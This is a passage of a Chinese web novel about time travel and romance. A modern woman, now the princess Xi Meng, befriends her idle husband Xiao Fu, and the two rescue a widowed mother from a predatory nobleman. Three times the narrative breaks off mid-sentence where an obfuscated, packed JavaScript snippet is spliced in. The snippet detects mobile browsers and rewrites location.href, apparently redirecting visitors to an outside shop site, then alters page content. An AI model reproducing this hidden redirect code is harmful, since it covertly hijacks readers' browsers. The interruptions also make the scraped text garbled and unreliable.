她赶忙手帕拭嘴,稍掩失态,心说,咱这是古代小言文,不是修仙文,没有那么多神神叨叨的,赶紧收收你的脑洞。但转念一想,她这穿越应该也算是一种“夺舍”,真没想到他这醉醉呼呼的,还给懵对了。 萧复见状嘿嘿一乐,“我也是逗你的,这世上哪有那么多神鬼妖怪的事儿。能重拾本真善良是好事,管他为什么呢。” 郗萌不知对方是不是真相信自己的话,试探道,“我若真是女鬼,你不怕吗?” “大丈夫顶天立地,何所畏惧。正所谓‘不做亏心事,不怕鬼叫门’。”萧复坦荡说完,露出一抹狡黠的笑,“更何况美女在侧,光看花容月貌了,哪儿还有功夫害怕?而且,若真是鬼要害我,我也躲不掉,又何必自寻烦恼。” 猛得被夸美貌,郗萌俏脸微红,随口问道,“那你觉得,我什么样更好?” “当然是现在的你啦。你现在比以前好多了,我挺喜欢的,对脾气。” 萧复一言惹得郗萌脸颊更红,他知道自己酒后乱语了。以前他与青楼女子调笑都脸不红心不跳,可现在看佳人低首含羞,竟有丝紧张。他赶忙解释,“呃,就像您之前所说,不同人不同活法,我觉得怎样不重要,你觉得怎样好就怎样。” “嗯。”郗萌深以为意的点点头,“公主的身份就像束缚,总让人端着、装着,挺没劲的。” 她也想放飞自我,做真正的自己。 萧复闻言,借着酒劲儿,大胆道,“那您在我面前就不用装了,爱怎样便怎样。也别什么‘世子’、‘公主’虚头巴脑的了,就‘你我’相称如何?” 郗萌不置可否,只是静静的望着他,眼神不喜不怒,反而露出极淡的哀愁。 他们才认识一天,却又好像失散多年的好友再见。郗萌觉得,可能因为看书时就比较羡慕萧复这随遇而安(躺平摆烂)的处世态度,这会儿面基潜移默化得拉近了距离。她也知道这其中有讨好的成分,却又让人无法拒绝这份好意。 来到异世这些时日,不愁吃穿,远比底层百姓幸福许多,她很庆幸。身边的人都敬着她、照顾她,可总有种挥之不去的疏离。比之吃穿用度,没人关心她内心的需要。 她很孤单,她很想家,还有自己熟悉的一切。 此时,有人让她不必端公主的架子,做自己,以朋友身份平等称呼,她感动了…… 或许萧复不真正了解自己,但朋友般的关怀,也让她寂寞的心得到些许慰藉。 原文中萧复的纨绔只在吃喝玩乐上,虽然不思进取,但不耍阴谋诡计、待人也实诚,属于纯良版地主家傻儿子,真能成为朋友也不错。 萧复见郗萌沉默不语,以为惹她不快,抱歉道,“刚才是我冒昧了。如果您不愿意,就……” “算了”的话音还没出,郗萌打断道,“不是。我的意思是,‘人生所贵在知已,四海相逢骨肉亲’。人与人之间相处,总是装来装去,挺无趣的。能坦诚相待,自然好。” 她把萧复当成自己异世里的第一个朋友,而表面他还是自己的丈夫,也算是亲人了。人类的感情就像一个空碗,总需要饥饿时填满,不局限于爱情,友情、亲情一样温暖人心。身处异世,她心里那份残缺,被萧复的真诚填补一点,不再那么空落落。 萧复发自内心一笑,高兴道,“那太好了。酒逢知己千杯少,咱们干一杯不?” “好。”郗萌也豪气的接过萧复递来的酒杯,一饮而尽。 啥都不说了,都在酒里了。 一杯下肚,眼神交汇,有种莫名的情感缓缓溢出,说不清道不明,但让人感觉心里暖暖的。二人相视而笑,没了开始的“假模假式”…… “救命啊!” 一声突如其来的呼救打破了这和谐的氛围。 郗萌起身走到窗边,向外探身望去,只见在楼后的青砖小道上,一身着华服的年轻男子正拽着一位衣衫褴褛的少妇,身边还围着三个家仆。而那声呼救就是这少妇发出的,也不知他们发生了什么争执。 少妇手里还牵着四五岁的稚童,应是她的孩子。二人想奋力挣脱男子的纠缠,却始终不得,呼喊中带着哭腔,看着都有跳江自救的架势。 江上船夫旅客多是看热闹,却无人靠岸帮忙。 郗萌没细想其中缘由,看着欺凌弱小的情景,瞬间正义之心爆棚,情急之下扔出手中折扇。好巧不巧,正打中男子脑门。 “谁砸老子?!”男子嗷嗷大叫,抬头张望,一手捂着砸破的额头,而另一手还拽着那少妇。 郗萌自恃公主身份,大喊道,“你爷爷我!光天化日之下,欺负人家孤儿寡母,还有脸叫唤!呸!” 萧复被郗萌“狂野”的举动惊住,但更觉得有趣,笑着侧头看她逞英雄。 “你算哪根葱?!小白脸子还想学别人英雄救美?也不打听打听老子是谁,有你出头的份儿吗?”男子满脸横肉骤起,语气十分嚣张。 他的家仆也骂骂咧咧起来,看样子要打人。 那女子跪倒在地求救,“求公子救命!” 如今细看,那女子虽然衣着破旧,但面容姣好,想来是浪荡子想霸占良家妇女,而别人因畏惧其权势不敢出手。 “路见不平,拔刀相助。”郗萌手中一空,没刀让她充门面,但气势丝毫不减,“你个孙子今天该着倒霉了。” 郗萌觉得萧复身边的徐决武功不错,应能“擒贼先擒王”,对付这种人渣绰绰有余。实在不行亮身份,谅他们不敢造次。可还没等她再说话,那男子脸色明显软了下来。 “哟,是世子爷啊。”男子像变脸似的,谄媚道,“不知道您在这儿用膳,扰了您的雅兴了。想必这位公子是您的朋友,刚才失礼了。” 郗萌转头,见萧复已经站到自己身后,成了“靠山”。 “刘公子,客气了。”萧复瞥了瞥那对母子,继续道,“何必大动肝火,有事好好说,拉拉扯扯的有辱斯文嘛。” 男子立刻松开了手,忙不迭道,“您说的是。都是小事儿,不至于不至于。” “那好,看在我的面子上,有什么事算了。”萧复劝解道。 “可这娘们还差我不少钱。今天一散,肯定又找不着了。”刘公子撇嘴道。 萧复心知那都是借口,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888241|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个老百姓能欠他多少,不过是贪图人家美貌,准备让良家妇女以身抵债。虽然心里也厌恶这种无耻行径,但脸上依然带着笑意,“刘公子,贵府财大气粗,不可能在乎这三瓜俩枣。若是这女人何处惹你不高兴,就大人不记小人过吧,别便宜别人白白看热闹了。有什么事咱兄弟私下说,包你消气,如何?” 刘公子小眼转了几圈,听出来萧复要管此事,自己犯不上和他起冲突。反正定城各门已被自己派人盯着,这女人逃不出自己手心。 “行。既然您开尊口了,我哪能不给面子。改日迎春阁我做东,叫上这位小兄弟,一起乐呵乐呵。今天就不打扰了,您吃好喝好。” 刘公子作了作揖,带着手下离开,留那母子在原地惊魂未定。 刚晓福与徐决在一楼用饭,一听小二说楼上有吵闹声,就赶紧跑了上来。 正好郗萌让晓福把那对母子请上楼来,想问问事情的前后因果。 等人之际,郗萌反思,想自己之前要和萧复做朋友决定是不是冲动了。她担心书里没明写他阴险的恶行,其实是个人面兽心的家伙。 思至此,她打趣道,“你面子还挺大呀。能和这种人称兄道弟,这朋友交的挺广泛啊,怕不是人以类聚。你难道也……” 萧复听出郗萌的怀疑,摆手解释道,“你可别多想。虽说我是出了名的纨绔、败家子,但仅限于花天酒地,从来没有仗势欺人,欺男霸女。” “你还挺自豪啊!” 郗萌心说,这啃老还啃出优越感了,看样子他没说谎。但愿他真如所说,没做仗势欺人的恶事。 “咳咳。”萧复假咳两声,缓缓尴尬,“我不是现在也做点生意,贴补家用嘛,和刘家有生意往来,才和他熟悉些。他也不想得罪金主不是?何况,家父还顶着王爷的虚衔,不都得给几分薄面?” “言之有理。”郗萌嘴上如此说,心中仍有疑虑。 萧复有种跳进江里也洗不清的感觉,继续道,“刘茂那人,是好色无厌、为富不仁,该好好教训他。可这世道有钱有势就是大爷,当官的都睁一眼闭一眼,较真生气不值当。” 他见郗萌要反驳,话锋一转,“我佩服你正义出手,救人危难。只是好人难做,您贵为公主自然能路见不平直接平了,可有些人做不到。” “你也不能吗?”郗萌渐渐理解萧复所言,但不愿相信他如此冷漠。 “我?”萧复自嘲的摇摇头,“不过是庸庸俗人,能自在时且自在,能做什么呢?” 郗萌秀眉皱起,或许他不是一开始就不思进取、沉湎享乐,而是经过灭国、阶下囚诸多之事,看透世态炎凉,不再在乎,随波逐流…… 她想起《水浒传》里拳打镇关西的桥段,自己能像鲁达一般救下这个金翠莲,可万万千千个金翠莲怎么救呢?除非彻底改变这封建的旧世道。 这个想法的冒头,吓了她自己一跳。她没有能力扭转乾坤,只能在别人的庇护下自保,怎么敢叫日月换新天?可生在红旗下、长在春风里,大学专业还是马哲,让她看不惯剥削压迫老百姓的行为。 可此时,她只能独自生闷气,或许这就是“无能的狂怒”…… 5. 救人 晓福将那女子领入雅间,还递给她手帕擦脸。 可女子从没用过绸帕,更怕把帕子弄脏,不敢接受,只用衣袖擦去眼泪鼻涕,还帮孩子抹了一把脸。 “谢谢两位恩公出手相救,小女子无以为报,来世当牛做马……” 看女子边磕头边感谢,郗萌着实不忍心,伸手打断道,“不必如此。我就看不惯欺负人的事,举手之劳罢了,不必如此大谢。” 郗萌向晓福使了个眼色,余光扫过椅子,示意让女子入座。 可女子再次婉拒,只站在一旁,低眉顺眼惹人怜悯。 “您的救命之恩,我们如何谢都是应当的。只是我们身无分文,只能先嘴上说说,没本事真的谢您,太惭愧了……”女子轻咬下唇,面露愧疚之色。 而她儿子望着一桌子珍馐美味,眼神发直、嘴角流涎,看样子饥饿至极,要不是被人拽着,小手早上桌扒拉吃食了。 郗萌叹了口气,劝道,“世道艰难,怎么是你一个小女子能承担的,怪不得你。想必你们饿了,先吃点东西再说吧。” 女子望了望桌子,暗自咽了口口水。她确实想吃,可这一桌菜肴所费银两,是她好多年都攒不出来的,实在不敢逾越身份。 受尽了欺凌,已不敢接受这突如其来的好意。 萧复见状,脑子一转,把徐决叫到近前,低声安排了什么,徐决便离开了房间。 萧复转头劝郗萌“不必强人所难,小老百姓受苦受累惯了,没见过这种世面”。而后对那女子礼貌道,“敢问姑娘如何称呼?” “回恩公,娘家没起大名,夫家姓林,别人就都叫我林嫂。” 郗萌心说,擦,连名字都没有,万恶的旧社会啊。 “林嫂,那刘茂为什么纠缠你?你欠他多少钱?”郗萌问。 “说来话长,我不是本地人。因为夫君病逝,回他老家寻亲。可谁知亲戚找不到,小宝还生了病。当时我在浣衣坊做零工,借了管事的几吊钱救急,可利滚利,竟成了十两银子,我哪里还的了。后来,刘茂亲自管我要账,说那是账上的钱,浣衣坊是他刘家的产业,一个子儿都不能缺。我哀求他宽限时日,他却让我卖身抵债。我知道胳膊拧不过大腿,就先假装答应下来,而且执意要他给妾的名分,让他以为我想通了,还想攀高枝保障自己下半辈子。他挺痛快的答应了,可赶上有事要走,让我等他派人来接。趁这个机会,我和管事的说,要去和接我的人会合,他也忙没仔细问,我就带着小宝跑了出来。可刚过一天,今儿又被他找到了,要不是您们,我……” 说着说着,林嫂又泫然而泣,让人更加可怜她的遭遇。 “太不容易了。”郗萌由衷感叹,假使异地相处,她做的不一定能比林嫂好。 她钦佩林嫂的反抗精神,心里为她点赞!如果不是巧合,林嫂落入刘家魔窟,不知又是什么情景,幸好上天垂怜。回想现世看过的“白毛女”故事,深知穷苦女儿抵债入富贵人家,绝非当享福的少奶奶,而是沦为恶人的玩物。不仅要被强迫侮辱,还要日夜操劳干活,衣食住行更无保障。哪天年老色衰更可能被卖到青楼妓馆,下场无比凄惨…… 感慨完,郗萌转头对萧复说,“你帮林嫂把钱还给刘茂,把欠条也拿回来,让他别再纠缠林嫂了。” “小事一桩,包我身上吧。”萧复轻松应承。 林嫂闻言赶忙擦干泪水,再次感恩戴德,“谢谢您,我真不知道说什么好。如果您不嫌弃,我愿到贵府做活儿,不要一分钱,管饭就行。我们一生一世报答您。” 郗萌看出林嫂是个要强的性格,不占别人便宜,顺势道,“不用这样。但咱们还真想到一起了。我也正想让你来我家干干活,好养育小朋友。管吃管住没问题,每月月钱就不足额发你了,扣的就当按揭还款了。如何?” 林嫂听不懂“按揭还款”,但明白郗萌是让她以工还钱。这样她和小宝不用再发愁的吃喝住,还不用担惊受怕,于她已是天大的好事,一时间感动得无以复加。 “我……谢谢……”林嫂又喜极而泣,抽噎道,“您放心,我们一定好好干,不辜负您的恩情。说了这么多,还不知您们尊姓大名。” “在下姓郗,他姓萧。”郗萌介绍道。 林嫂带着孩子向二人鞠躬感谢,“谢谢郗公子,萧公子。” “不用谢我,都是郗公子仗义。”萧复打趣道。 林嫂眼睛望向郗萌,耳边浮起她那如惊天霹雳的制止声,救她于水火。此时,再看她俊俏的容颜,亲和的目光,脸颊竟有点发烧。注视一瞬后,她自觉失礼,低头道,“您们二位救了我们,都该好好谢的。” 郗萌没觉不妥,而萧复久经风月,察觉出蛛丝马迹。 此时,徐决带着小二走进房间,小二正端着一碟小窝头和一盘腌白萝卜。 “好了,不多说了。”萧复看了看那托盘,对林嫂道,“既然你不喜欢大鱼大肉,就随便吃点爽口小菜,花费也从你月例里扣。” “好,那我们不打扰了。您们慢用。” 言罢,林嫂带着孩子随小二他们向外走。可小孩三步两回头,对桌上的肉依依不舍。 郗萌让晓福掰了个鸡腿,塞进小孩的手里,还高声道,“鸡腿不要钱。” 见状,林嫂唇角微扬,福了福身,再次相谢…… 郗萌让晓福也跟着过去,回府再帮忙安排安排,屋内再次剩下他们二人。 “朱门酒肉臭,路有冻死骨。”郗萌以往只是从新闻中见过这种事,没想到吃个饭还真碰到了。看他们衣不蔽体、食不果腹,满桌佳肴瞬间不香了,“别人连饭都吃不上了,我还如此奢侈,真是罪过……” “你不吃,别人也会吃。人生来三六九等,各有境遇,何苦自寻烦恼?”萧复开解道。 郗萌心知萧复也属于剥削阶级,有点侠义心肠,但还不深。他看惯了人之间的不平等,享惯了别人的伺候,不理解底层群众的苦难。 她叹了一口气,反驳道,“不敢苟同。‘王侯将相宁有种乎?’王朝更替,贵族都能‘掉毛的凤凰不如鸡’。实现‘大同社会’,能人人平等,公平正义,衣食充足才好。” 说完,她觉得自己又一时嘴秃噜,说出了对牛弹琴的话。这会儿是封建社会,生产力还跟不上,吃饱都费劲,何谈如社会主义的大同世界?封建王朝能有个英明的好皇帝,吏治清明,百姓好过些,都已属万幸。 萧复歪头一笑,没想到身为天潢贵胄的公主能有如此觉悟,“越来越觉得你的想法超尘脱俗了,有意思。” 郗萌暗叹一声,也不指望萧复能马上理解自己的想法。她回忆起原文,断更时正写到瑞庆帝晚年昏庸,贪图享乐,喜好祥瑞,还大修宫殿,耗费民脂民膏。朝廷更开设议罪银,催化吏治败坏,一时间官场贪腐成风,官员层层盘剥百姓,百姓生活愈加困苦。而太子郗宸立志整饬朝纲,可劝谏未果,反被皇帝提防。女主言婉薇始终不离不弃,支持他的主张,同有天下太平、百姓安居的愿景。 想到此处,她有些释怀,既然自己无能力改变现状,就修身养性,闲暇时能帮一人是一人,静待太子登基还天下海晏河清吧…… 郗萌话锋一转,问,“刚才我擅自决定,让林嫂入府,没事吧?” “你是当家主母,这点小事你高兴就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888242|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无需问我。”萧复漫不经心道,“但有个小事。外人入府底细还得查清,不能只听一面之词,免得以后惹麻烦。” “嗯。”郗萌觉得萧复表面放浪不羁,有时候心思蛮细腻的,自己没考虑到的地方,他不当面指出,还做好了安排,不像书里那般不靠谱。“刚才你还挺细心,知道林嫂舍不得吃大鱼大肉,提前让人准备了窝头咸菜。” “那可不是街边小贩卖的窝头咸菜。这小窝头里还加了栗子面、核桃粉、细糖,入口绵软清甜,好多人都好这口呢。那萝卜也是放了许多调料,腌了七七四十九天,非一般咸菜可比。当然,做的费功夫了,这价格也翻好几番。”萧复见郗萌秀眉微皱,顿了顿,补充道,“你放心,扣林嫂的月例还按普通的来。” “你考虑的挺周到。”郗萌浅浅一笑,如梨花初绽,美好而真挚,“还有,谢谢了。” 萧复也报以微笑,“没什么好谢的,不务正业久了,偶尔当当侠客也挺有趣的。倒是你,英雄救了美,人家刚才看你的眼神都温柔似水,就差以身相许报答恩情了。你要真是位公子,八成能抱得美人归,得气死刘茂,哈哈。” 听完,郗萌的脸迅速垮了下来,刚夸完他,又没了正经…… 经过“英雄救美”的小插曲,萧复又带着郗萌逛了几家首饰店。郗萌只想看看,因为府里的首饰都戴不过来,品质也比店里的好,购买欲望并不强烈。可萧复擅自把她仔细看过、把玩过的饰物都买了下来,付钱姿势豪气十足。 郗萌拿着“布灵布灵”亮眼的发簪,虽然不想买,可拿在手里还是挺开心的,嘴上却吐槽道,“干嘛这么铺张?” “人生苦短,及时行乐。喜欢就买,咱又不缺这点儿。况且,这等粗陋之物,与你的首饰天壤之别,不过看个新鲜罢了,高兴就好。” 萧复见日头渐毒,感觉郗萌也有些乏了,向徐决摆了摆手。 徐决会意出店,萧复让郗萌在店里喝口茶歇息片刻。 郗萌不知他葫芦里卖的什么药,就耐心等了会,只见两顶轿子停在店外。 萧复起身做了个“请”的姿势,郗萌明白他是考虑自己走累了,安排轿子抬自己回去。 坐进轿中,她发现各角落有冰盏,正散发着汩汩凉气,让轿内保持凉爽。 此情此景,郗萌不禁握了握手中的折扇,感叹萧复的细致入微,内心泛起层层涟漪…… 白天越热闹,晚上越想家。 虽然白天玩得挺开心,可洗漱完一个人在房间总有些孤单。 郗萌不习惯晓福她们整夜守着伺候,执意安排她们去侧房休息,有事喊一嗓子就行了。 推开窗扉,皎洁的月光倾泻入屋。一轮圆月高悬,不知与谁共赏。 她是六月初六穿越而来,今日已是六月十六。时光不居向前,而她依然无所适从…… “床前明月光,疑是地上霜。举头望明月,低头思故乡……” 窗扇突然动了一下,萧复披着披风绕到窗前,笑道,“又是一首文采斐然的诗啊。” 郗萌心想,文采属于李大诗仙,自己不过附庸风雅的拽文,还只有幼儿园水平。 “怎么,想家了?”萧复敛起嬉皮笑脸,关心的问。 郗萌下意识点点头,眼神难掩忧伤。 萧复以为她是想念京城宫廷,可能还有太子,便安慰道,“别郁闷,过阵子我陪你归宁。” “我不是……”郗萌一时也解释不清,“算了,不用回去。” 萧复丈二和尚摸不着头脑,但也不纠结追问,径直走进了房间。 此举惊得郗萌往后退了几步,难道他们要…… 6. 纨绔 萧复进屋随手脱下斗篷,丢到外间屋的塌上,里面只穿着一身白色中衣,像是要准备就寝。 “你进来干嘛?” 郗萌警惕的盯着他。 萧复闻言有点莫名其妙,“这是我的房间,我进来很正常啊。” 但见郗萌如此防备,他猜出端倪,故意逗她,“咱们是夫妻,同室而寝,同被而眠,天经地义。你不用这么紧张吧?” “可,我病还没好,你在会打扰我休息。”郗萌胡诌理由,只想把眼前的“瘟神”送走。 萧复“扑哧”一笑,“白天玩的时候你不像有病呀,看着精神头挺足的。还有,我可没太子殿下的魅力,能让你魂牵梦萦睡不着。” “你……”郗萌见找借口不行,硬嘟嘴卖萌道,“你去别处睡,好不好?” 萧复不为所动,反而快步上前,俯身在她耳边道,“这么着急让我走,怕我图谋不轨啊?可就算我做点什么,也不犯大梁律法。我已经被你赶出洞房过一次,好不容易回家,若再露宿在外,颜面无存啊。” 郗萌被他呼出的热气弄得鸡皮疙瘩骤起,急中生智道,“行,你不走我走。你的房间物归原主。” 郗萌刚要回内屋拿衣衫,就被萧复拉住小臂。 “好了,不逗你了,你好好在屋里待着吧。”萧复说完往后退到榻边,“我知道你心里有人,嫁给我并非自愿。老话说,‘强扭的瓜不甜’,我也没必要死皮赖脸。你就睡床,我睡榻。在外面咱们是恩爱小夫妻,在屋里井水不犯河水。这行吗?” 这反差让郗萌被萧复的通情达理打动,也知他有所误会,可现在又解释不清,只能干巴巴道,“我心里没人,只是不习惯和男人太亲近。” 萧复不置可否的“嗯”了一声,随即躺下盖上斗篷。可相较于他修长的身躯,榻显得十分局促。 “话虽这么说,可我不是什么正人君子,你小心点哈。我怕半宿忍不住,爬上你的床,和你亲近亲近。”萧复戏谑道。 郗萌轻叹一声,没再搭理他,无奈萧复总能一句话打破美好滤镜。可又不知为何,她知道他是在开玩笑,也相信他不会逾矩。 和一个大男人共处一室,郗萌总觉得气氛诡异,前半宿闭着眼睡不着。后来听到萧复均匀的呼吸声,自己的上下眼皮也开始打架,不知不觉进入梦乡…… “嗯……” 郗萌长呼一口气,缓缓睁开双眸,只见一张俊脸近在咫尺,吓得大喊一声。 “啊!” 郗萌稳了稳心神,起身往挪了挪,也不知萧复这样蹲在床前,托腮看自己多久了。 “大清早的,你干嘛呢?” 起床气混着郗萌娇嗔的声音,在萧复耳中就像是撒娇,有种说不出的可爱。 他站起身,整理了一下衣摆,“我不干嘛。想叫你和我一起给爹敬茶,从大婚到现在一直被杂事拖延。但看你睡得这么香,又不忍心早叫你。只能先收拾好,静候公主殿下睁眼啦。” “那你就好好等呗,干嘛离这么近,吓我一跳?”郗萌撇嘴道。 萧复故意探下身,腆着脸道,“谁叫你长得这么好看,睡颜更有种恬静的美。不知不觉越离越近,看呆了……” 郗萌被夸的又脸泛红云,下意识推开他。 这种话本该听着很油腻,可萧复每次说的玩笑中带着点真诚,让她既羞恼又欣悦。或许颜值高、声线好,能让垃圾话也化腐朽为神奇。 “行了,你那些对付其他姑娘的甜言蜜语,别浪费在我身上了。我这就起来啦。” 萧复往后退了退,折扇轻摇,打趣道,“哟,这话听着有点酸呐?你放心,我好歹是有家室的人了,和你相处的又这么融洽,以后只陪你玩儿。你可比那些姑娘漂亮多了。” 郗萌朝他翻了个大白眼,脑中灵光一闪,也逗起他来,“你也放心,我爱吃糖醋肉,但决不喝醋。老话说,男人的嘴,骗人的鬼,指不定你骗过多少纯情少女了。你夸我好看,那比言婉薇如何呢?” 萧复的嬉皮笑脸凝固了一瞬,但马上恢复往常,略显生硬道,“你们美得风格不同,一时难以下定论。我想想哈……” 郗萌得逞的笑了笑,果然一祭出女主白月光,对方就招架不住了,“得了,不难为你了。咱们别浪费时间了,赶紧给你爹请安去。” “哦,好。” 萧复舒了一口气,脑海中浮现言婉薇温柔的笑颜,眼睛不由得望向窗外,不知何处安放那无疾而终的眷恋…… 待梳妆打扮完,郗萌便随萧复来到正厅,见一位面容清俊的中年男子端坐中央。 郗萌忆起,原文曾提过萧母在齐国国破时病亡,剩萧家父子相依为命,而今她新媳妇敬茶自然少了一人。 “爹,不好意思有点晚。” 萧复随即招呼侍女准备上茶。 他父亲萧渊倒是面无愠色,丝毫没有责怪他们,“咱府上没那么多虚礼。况且公主大病初愈,本该多加休息。你们小两口把日子过好就行,不用总怪念我这半截入土的老头。” “爹,别这么说呀。您现在就每天享清福,准备长命百岁吧。” 萧复笑着说完,帮萧渊捏肩,样子十分亲昵,看上去真·父慈子孝。 郗萌有点插不上话,径自入座,静静等候接下来的事。 萧复瞥见郗萌有点无所适从,走到她身边,使了个眼色,示意她起身准备。 而后,二人齐站萧渊面前。萧复神态自若,郗萌却职业假笑。 接过侍女递上来的茶,萧复先跪下奉茶,恭谨道,“爹,您喝茶。我们一定会好好过日子,不辜负您的期望。” “好。”萧渊欣慰一笑,掀开茶盖,微抿一口,瞬间感觉儿子长大了。 郗萌从没跪过长辈以外的人,更叫不出别人“爹”,愣愣的杵在原地想辙。 萧复见她无动于衷,剑眉微皱,轻轻拽了拽她裙摆。 郗萌想了想下定决心,低下头双手奉茶,甜甜道,“您喝茶。” 她想萌混过关,可在别人看来有些无礼。 “公主千金之躯,只跪天子。老夫能接杯茶,已是荣幸。”萧渊说话间依然满脸慈祥,更将奉的茶一饮而尽,“复儿,起来吧。” 待萧复站起身,萧渊继续和蔼道,“看你们能举案齐眉,吾心甚慰。不用守着我了,去忙你们自己的事吧。” “爹,那我们先告退了。”萧复作揖拜别。 郗萌也向萧渊微笑施礼,努力往回找补。 简短的奉茶在尴尬中结束…… 走至厅前院子,郗萌不好意思的对萧复说,“我刚才不是故意让大家难堪的,只是不太习惯叫别人爹……” 萧复无所谓的摆摆手,释然道,“公主的爹只有圣上一人,唤其他人确实不合适,是我考虑不周了。您能特地解释,我们已经受宠若惊了。我爹也明白,不在意这些虚礼,你也不用往心里去。” 郗萌心里松了口气,“你明白就好。还有,你怎么不叫父王呢?” 萧复自嘲而笑,“亡国之人还在乎那些虚头巴脑的有何用?好好活着才是最实在的。” 他说的潇洒,可眼神闪过一丝不易察觉的落寞。 郗萌没有注意到,还在想着今天的时光怎么打发,“哦。那咱们现在干嘛?” “咱玩儿去呀,有钱有闲还能干嘛?”萧复又恢复纨绔本色。 “有点道理。正所谓,‘人生得意须尽欢,莫使金樽空对月’。” 不知不觉,郗萌也被摆烂贪玩的气氛感染…… 接下来的几天,萧复每天带她吃吃吃、买买买,沉迷玩乐不可自拔。 “走,今天咱吃粉蒸狮子头去。”萧复说。 “好啊好啊。”郗萌点头。 …… “走,今天咱吃糖醋水晶肉去。”萧复说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888243|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好啊好啊。”郗萌点头。 …… 晚上,郗萌躺在床上“复盘”。前一阵儿遇到不平事,还忧国忧民呢,可一旦享受起来,诸事抛之脑后,总是“接着奏乐接着舞”,堕落啊!怪不得好多公子哥要做纨绔,每天吃吃买买、玩玩逛逛确实很快落呀。不努力、不内卷,还有钱有闲真是爽…… 翌日,下起了瓢泼大雨,为天地拉上一层密密的珠帘。 而萧复因生意上的事儿,吃完早饭就去找他父亲商量了。 天公不作美,导游也没了。郗萌不能再出门嗨,便无所事事在回廊赏雨,思索穿越来发生的事。 晓福与她闲聊时感叹,“您变得和以前越来越不一样了。” “人总会变的,有好有坏。而本宫能往好里变,你该高兴不是?”郗萌莞尔回道。 “嗯。”晓福深以为意点点头,也觉得她能如此无忧无虑的生活挺好。 “对了,林嫂怎么样了?” 郗萌回府后听晓福说,把林嫂安排在厨房帮厨,一切妥当,便没再细问,几日来也没见过。此时有了空闲,想看看她新生活过的如何。 晓福回道,“她挺好的。厨房的人都夸她待人温文有礼,手脚麻利,干得挺好。您要是想见她,奴婢这就去叫她来。” 郗萌望着大雨,叮嘱道,“那好,辛苦你一趟,小心路滑。” 晓福自觉小事,不敢称苦,赶忙道,“您太客气了。请稍候片刻。” 未过多时,晓福与林嫂打着伞返回,裤腿都被雨水浸湿,呼吸也有些急促。 郗萌唤她们赶快到檐下避雨,“也没什么事,你们不用这么着急,歇会儿再说话。” “几步路而已,不碍事。劳您费心。”晓福说着将林嫂让到前面。 林嫂第一次见郗萌华衣罗裙,明艳动人,让人移不开眼睛。 回神后,她立刻跪地低首,恭敬道,“奴婢拜见公主。” “不必多礼,快起来吧。”郗萌礼貌道,“之前为了出门方便,隐藏了真实身份,不好意思啦。” “您言重了,奴婢不敢当。”林嫂头低的更深了。 郗萌无奈叹了口气,森严的等级压得老百姓脊梁都挺不起来,语气更温和道,“别紧张,本宫不吃人。你在府里过得如何?” “托您洪福,我在府里过得很好,吃穿都不用再发愁,大家也都很和善。”林嫂回答。 “那就好。如果遇到什么难题,可以找晓福给本宫带话。” 林嫂见郗萌嫣然一笑,感觉如沐春风般温暖,感激之情充斥心间,“谢谢您……” 感谢完,林嫂将手里一直紧紧握着的食盒打开,里面装着一碟糕点。 只见一个个白面酥皮的小圆饼整齐坐落,每个中间都画有一朵梅花,好似美女额间的花钿。 “公主,这是奴婢做的红豆酥饼,您若不嫌弃,请尝一尝。”林嫂小心翼翼的捧着,好像生怕对方拒绝。 郗萌知道这是林嫂的心意,她身无长物,只能做点点心聊表谢意。她笑着取出一块,细细品尝,入口酥软,甜而不腻,很对她的胃口。 “味道真不错。”郗萌本想说“谢谢”,但担心让林嫂更惶恐,只能真心实意的夸了夸。 林嫂闻言瞬间心花怒放,神情也放松了不少,“您爱吃就好。以后再有什么新菜式,也劳晓福姑娘带给您尝鲜。” “好啊。”郗萌欣然应允。 别无他事后,林嫂离开了院子。郗萌和几个丫鬟大眼瞪小眼,气氛又冷了下来。她摸摸鼻尖,想做点什么有趣的活动,解决这无所事事的雨天。 晓福看出郗萌的无聊,建议道,“公主,要不您练练字、弹弹琴来打发时间?” 郗萌秀眉拧了拧,这种高雅的活动她可都不会,不能“鼻子插大葱——装相”。但这提议倒让她想起了自己擅长的乐器,而且一旦奏响绝对技惊四座。 7. 妙花 “府里有唢呐吗?” “唢呐?”晓福闻言甚是迷惑。她记得以前郗宝以琴筝之曲为雅,不喜唢呐锣鼓喧闹,直言其粗俗不堪,不解她如今怎么要起唢呐来了。但还是依她之言,思索了片刻,“听说,世子在府上养了个乐曲班子,可能有唢呐。” “那好,劳你去问问。如果有,就要一把回来,本宫带大家解解闷儿。”说着,郗萌狡黠一笑,让人不知她葫芦里卖的什么药。 “是,奴婢这就去。” 晓福再次冒着雨出去,寻找唢呐…… 郗萌嘴里吃着糕点,脑中回忆吹奏唢呐的技法。 